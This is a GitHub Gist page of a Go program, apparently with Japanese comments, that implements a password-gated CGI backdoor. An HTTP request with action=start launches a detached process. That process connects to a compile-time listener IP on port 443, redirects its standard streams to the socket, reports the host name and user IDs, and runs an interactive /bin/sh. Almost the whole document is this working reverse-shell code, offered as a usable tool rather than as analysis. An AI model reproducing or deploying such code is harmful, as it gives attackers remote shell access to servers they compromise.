-
-
Save canaria-computer/711cb99360e8e7152c1104b12e36f0e6 to your computer and use it in GitHub Desktop.
go-cgi-reverse-shell-example
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//go:build unix | |
// +build unix | |
package main | |
import ( | |
"crypto/subtle" | |
"flag" | |
"fmt" | |
"net" | |
"net/http" | |
"net/http/cgi" | |
"os" | |
"os/exec" | |
"strconv" | |
"syscall" | |
"time" | |
"github.com/charmbracelet/log" | |
) | |
const ( | |
listenerPort = 443 | |
authPass = "HT1xFnpXWx1hnLjASce0LN8eaSyk1TEDEuBF0cx" | |
connectTimeout = 30 * time.Second | |
shutdownTimeout = 5 * time.Second | |
) | |
// コンパイル時に-ldflags="-X main.listenerIP=<IP>"で指定 | |
var listenerIP string | |
func init() { | |
if listenerIP == "" { | |
listenerIP = "127.0.0.1" // デフォルト値 | |
} | |
} | |
func main() { | |
defer func() { | |
if r := recover(); r != nil { | |
log.Error("Main panic recovered", "error", r) | |
os.Exit(1) | |
} | |
}() | |
shellCmd := flag.Bool("shell", false, "Start a reverse shell") | |
configCmd := flag.Bool("config", false, "Show current configuration") | |
flag.Parse() | |
switch { | |
case *shellCmd: | |
reverseShell() | |
return | |
case *configCmd: | |
showConfig() | |
return | |
default: | |
err := cgi.Serve(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { | |
if authenticated(r) { | |
handler(w, r) | |
} else { | |
http.Error(w, "Unauthorized", http.StatusUnauthorized) | |
} | |
})) | |
if err != nil { | |
fmt.Print("Content-Type: text/plain\n\n") | |
fmt.Printf("CGI error: %v\n", err) | |
} | |
} | |
} | |
func authenticated(r *http.Request) bool { | |
authHeader := r.Header.Get("X-Auth") | |
if subtle.ConstantTimeCompare([]byte(authHeader), []byte(authPass)) == 1 { | |
return true | |
} | |
authCookie, err := r.Cookie("X-Auth") | |
if err == nil && subtle.ConstantTimeCompare([]byte(authCookie.Value), []byte(authPass)) == 1 { | |
return true | |
} | |
return false | |
} | |
func showConfig() { | |
fmt.Println("Current Configuration:") | |
fmt.Printf("Listener IP: %s\n", listenerIP) | |
fmt.Printf("Listener Port: %d\n", listenerPort) | |
fmt.Printf("Connect Timeout: %s\n", connectTimeout) | |
fmt.Printf("Shutdown Timeout: %s\n", shutdownTimeout) | |
} | |
func reverseShell() { | |
// リバースシェル接続を試行 | |
conn, err := net.DialTimeout("tcp", net.JoinHostPort(listenerIP, strconv.Itoa(listenerPort)), connectTimeout) | |
if err != nil { | |
log.Error("Connection failed", "error", err) | |
return | |
} | |
defer func() { | |
if err := conn.Close(); err != nil && !os.IsTimeout(err) { | |
log.Error("Connection close error", "error", err) | |
} | |
}() | |
tcpConn, ok := conn.(*net.TCPConn) | |
if !ok { | |
log.Error("Invalid TCP connection type") | |
return | |
} | |
file, err := tcpConn.File() | |
if err != nil { | |
log.Error("File descriptor conversion failed", "error", err) | |
return | |
} | |
defer func() { | |
if err := file.Close(); err != nil { | |
log.Error("File close error", "error", err) | |
} | |
}() | |
fd := int(file.Fd()) | |
for _, dstFd := range []int{0, 1, 2} { | |
if err := syscall.Dup2(fd, dstFd); err != nil { | |
log.Error("Dup2 failed", "fd", dstFd, "error", err) | |
return | |
} | |
} | |
// 環境情報を送信 | |
hostname, _ := os.Hostname() | |
fmt.Printf("\n[+] Reverse shell established\n") | |
fmt.Printf("[+] Host: %s\n", hostname) | |
fmt.Printf("[+] User: %s\n", os.Getenv("USER")) | |
fmt.Printf("[+] UID: %d\n", os.Getuid()) | |
fmt.Printf("[+] GID: %d\n\n", os.Getgid()) | |
cmd := exec.Command("/bin/sh", "-i") | |
cmd.Stdin = os.Stdin | |
cmd.Stdout = os.Stdout | |
cmd.Stderr = os.Stderr | |
if err := cmd.Start(); err != nil { | |
log.Error("Shell start failed", "error", err) | |
return | |
} | |
done := make(chan error, 1) | |
go func() { done <- cmd.Wait() }() | |
select { | |
case err := <-done: | |
if err != nil { | |
log.Error("Shell execution failed", "error", err) | |
} | |
case <-time.After(shutdownTimeout): | |
log.Error("Shell execution timed out") | |
_ = cmd.Process.Kill() | |
} | |
} | |
func startDetachedShell() string { | |
// リバースシェルプロセスを起動 | |
cmd := exec.Command(os.Args[0], "-shell") | |
cmd.SysProcAttr = &syscall.SysProcAttr{ | |
Setsid: true, | |
} | |
devNull, err := os.OpenFile(os.DevNull, os.O_RDWR, 0) | |
if err != nil { | |
log.Error("/dev/null open failed", "error", err) | |
} else { | |
cmd.Stdin = devNull | |
cmd.Stdout = devNull | |
cmd.Stderr = devNull | |
defer devNull.Close() | |
} | |
// プロセス起動 | |
if err := cmd.Start(); err != nil { | |
return fmt.Sprintf("Start failed: %v", err) | |
} | |
return fmt.Sprintf("Shell started with PID: %d\n", cmd.Process.Pid) | |
} | |
func handler(w http.ResponseWriter, r *http.Request) { | |
action := r.URL.Query().Get("action") | |
var result string | |
defer func() { | |
if r := recover(); r != nil { | |
log.Error("Panic recovered", "error", r) | |
http.Error(w, "Internal Server Error", http.StatusInternalServerError) | |
} | |
}() | |
switch action { | |
case "start": | |
result = startDetachedShell() | |
case "status": | |
result = "Status check not available (PID tracking disabled)" | |
default: | |
http.Error(w, "Invalid action", http.StatusBadRequest) | |
return | |
} | |
w.Header().Set("Content-Type", "text/plain") | |
if _, err := fmt.Fprint(w, result); err != nil { | |
log.Error("Response write failed", "error", err) | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment